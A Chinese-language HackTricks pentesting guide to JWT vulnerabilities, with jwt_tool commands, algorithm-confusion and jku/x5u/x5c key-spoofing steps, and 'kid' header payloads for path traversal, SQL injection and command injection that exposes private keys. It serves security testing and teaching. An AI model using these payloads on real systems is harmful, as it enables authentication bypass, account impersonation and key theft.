hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

15 KiB
Raw Blame History

JWT 漏洞Json Web Tokens

从零到英雄学习 AWS 黑客攻击,通过 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

Bug bounty 小贴士注册 Intigriti,一个由黑客创建的高级漏洞赏金平台!立即加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

本文的一部分摘自: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTs 渗透测试的伟大工具作者 https://github.com/ticarpi/jwt_tool

快速获胜

运行 jwt_tool 并选择 All Tests! 模式,等待绿色线条

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

如果你运气好该工具会找到某些情况其中web应用程序检查JWT的方式不正确

然后你可以在你的代理中搜索请求或者使用jwt_tool转储该请求使用的JWT

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

在不修改任何内容的情况下篡改数据

您可以只篡改数据保持签名不变并检查服务器是否在检查签名。尝试将您的用户名更改为“admin”。

令牌是否被检查?

  • 如果出现错误消息,则正在检查签名 - 阅读可能泄露敏感信息的任何详细错误信息。
  • 如果返回的页面不同,则正在检查签名。
  • 如果页面相同,则没有检查签名 - 是时候开始篡改有效载荷声明,看看您能做什么了!

来源

检查令牌在您的代理请求历史中的起源位置。它应该在服务器上创建,而不是客户端。

  • 如果它首次出现是从客户端发送的,则密钥可被客户端代码访问 - 寻找它!
  • 如果它首次出现是从服务器发送的,则一切正常。

有效期

检查令牌是否持续超过24小时... 也许它永不过期。如果有“exp”字段请检查服务器是否正确处理它。

暴力破解HMAC密钥

查看此页面。

将算法修改为NoneCVE-2015-9235

将使用的算法设置为“None”并移除签名部分。

使用Burp扩展名为“JSON Web Token”的工具来尝试这个漏洞并更改JWT内的不同值将请求发送到Repeater在“JSON Web Token”标签中您可以修改令牌的值。您也可以选择将“Alg”字段的值设置为“None”

将算法从RS256非对称更改为HS256对称CVE-2016-5431/CVE-2016-10555

算法HS256使用密钥来签名和验证每条消息。
算法RS256使用私钥来签名消息并使用公钥进行认证。

如果您将算法从RS256更改为HS256后端代码将使用公钥作为密钥然后使用HS256算法来验证签名。

然后使用公钥并将RS256更改为HS256我们可以创建一个有效的签名。您可以执行以下操作来检索Web服务器的证书

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

在头部中嵌入新的公钥

攻击者在令牌的头部嵌入一个新的密钥服务器使用这个新的密钥来验证签名CVE-2018-0114

这可以通过 "JSON Web Tokens" Burp 扩展来完成。
(将请求发送到 Repeater在 JSON Web Token 标签中选择 "CVE-2018-0114" 并发送请求)。

JWKS 欺骗

如果令牌使用了 “jku” 头部声明,那么检查提供的 URL。这应该指向一个包含 JWKS 文件的 URLJWKS 文件中包含用于验证令牌的公钥。篡改令牌,将 jku 值指向你可以监控流量的网络服务。

如果你得到了 HTTP 交互,你现在知道服务器正在尝试从你提供的 URL 加载密钥。使用 jwt_tool 的 -S 标志以及 -u http://example.com 参数来生成一对新的密钥,注入你提供的 URL生成包含公钥的 JWKS并使用私钥签署令牌

Kid 问题

kid 是一个可选的头部声明,它包含一个密钥标识符,当你有多个密钥来签署令牌并且需要查找正确的密钥来验证签名时特别有用。

"kid" 问题 - 揭示密钥

如果在头部使用了 "kid" 声明,检查该文件或其变体是否存在于网站目录中。例如,如果 "kid":"key/12345",那么在网站根目录中查找 /key/12345/key/12345.pem

"kid" 问题 - 路径遍历

如果在头部使用了 "kid" 声明,检查是否可以使用文件系统中的不同文件。选择一个你可能能预测内容的文件,或者尝试使用 "kid":"/dev/tcp/你的IP/你的端口" 来测试连接性,甚至是一些 SSRF 载荷...
使用 jwt_tool 的 -T 标志来篡改 JWT 并更改 kid 声明的值,然后选择保持原始签名

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

使用主机内已知内容的文件您也可以伪造有效的JWT。例如在linux系统中文件/proc/sys/kernel/randomize_va_space的值设置为2。因此,将该路径放入"kid"参数中,并使用"2"作为对称密码来生成JWT您应该能够生成一个有效的新JWT。

"kid"问题 - SQL注入

在一个场景中,"kid"的内容被用来从数据库中检索密码,您可以将"kid"参数内的有效载荷更改为:non-existent-index' UNION SELECT 'ATTACKER';-- -,然后使用密钥ATTACKER签署JWT。

"kid"问题 - 操作系统注入

在一个场景中,"kid"参数包含密钥文件的路径,并且这个路径正在执行的命令中被使用您可以通过以下有效载荷获得RCE并暴露私钥/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

杂项攻击

以下是已知的弱点,应该进行测试。

跨服务中继攻击

一些Web应用程序使用可信的JWT服务来为它们生成和管理令牌。在过去有些情况发生了为JWT服务的一个客户端生成的令牌实际上可以被JWT服务的另一个客户端接受。
如果您观察到JWT通过第三方服务发行或更新那么值得识别您是否可以在该服务的另一个客户端上使用相同的用户名/电子邮件注册账户。如果可以,尝试取出该令牌并在请求中重放它到您的目标。它被接受了吗?

  • 如果您的令牌被接受,那么您可能有一个关键问题,允许您冒充任何用户的账户。然而,请注意,如果您在第三方应用程序上注册,您可能需要寻求更广泛的测试权限,以防它进入法律灰色地带!

是否检查exp

“exp”有效载荷声明用于检查令牌的过期时间。由于JWT通常在没有会话信息的情况下使用因此它们确实需要小心处理 - 在许多情况下捕获并重放其他人的JWT将允许您伪装成该用户。
JWT重放攻击的一个缓解措施JWT RFC建议是使用“exp”声明为令牌设置一个过期时间。在应用程序中设置相关检查也很重要以确保处理此值并在令牌过期时拒绝它。如果令牌包含“exp”声明并且测试时间限制允许 - 尝试存储令牌并在过期时间过后重放它。使用jwt_tool的-R标志来读取令牌的内容其中包括时间戳解析和过期检查时间戳为UTC

  • 如果令牌在应用程序中仍然有效,那么这可能是一个安全风险,因为令牌可能永远不会过期。

x5u和jku

jku

jku代表JWK集合URL
如果令牌使用“jku头部声明,那么检查提供的URL。这应该指向一个包含JWKS文件的URL该文件持有用于验证令牌的公钥。篡改令牌将jku值指向您可以监控流量的Web服务。

首先您需要创建一个带有新的私钥和公钥的新证书

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
然后您可以使用例如 [**jwt.io**](https://jwt.io) 来使用**创建的公钥和私钥创建新的JWT并将参数jku指向创建的证书。** 为了创建有效的jku证书您可以下载原始证书并更改所需的参数。

您可以使用以下方法从公共证书获取参数 "e" 和 "n"
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL。一个指向一组以 PEM 形式编码的 X.509(证书格式标准)公共证书的 URI。该组中的第一个证书必须是用来签署这个 JWT 的证书。随后的证书每个都签署前一个从而完成证书链。X.509 在 RFC 52807 中定义。传输证书时需要传输安全保护。

尝试将此头部更改为您控制下的 URL,并检查是否收到任何请求。在这种情况下,您可以篡改 JWT

要伪造一个由您控制的证书签名的新令牌,您需要创建证书并提取公钥和私钥:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

然后您可以使用例如 jwt.io 来使用创建的公钥和私钥创建新的 JWT并将 x5u 参数指向创建的 .crt 证书。

您还可以利用这两个漏洞进行 SSRF 攻击

x5c

此参数可能包含以 base64 编码的证书

如果攻击者生成自签名证书,并使用相应的私钥创建伪造的令牌,并替换 "x5c" 参数的值为新生成的证书,并修改其他参数,即 n、e 和 x5t那么实质上伪造的令牌将被服务器接受。

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

嵌入式公钥 (CVE-2018-0114)

如果JWT像以下场景那样嵌入了一个公钥

使用以下nodejs脚本可以从那些数据生成一个公钥

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

可以生成新的私钥/公钥,将新的公钥嵌入令牌中,并使用它来生成新的签名:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

您可以使用以下nodejs脚本获取“n”和“e”

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

JTI (JWT ID)

JTIJWT ID声明提供了JWT令牌的唯一标识符。它可以用来防止令牌被重放。
然而想象一种情况ID的最大长度为40001-9999。请求0001和10001将使用相同的ID。因此如果后端在每个请求上递增ID你可以利用这一点来重放请求需要在每次成功重放之间发送10000个请求

JWT 注册声明

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

工具

{% embed url="https://github.com/ticarpi/jwt_tool" %}


Bug赏金小贴士注册 Intigriti,一个由黑客创建,为黑客服务的高级Bug赏金平台!立即加入https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

支持HackTricks的其他方式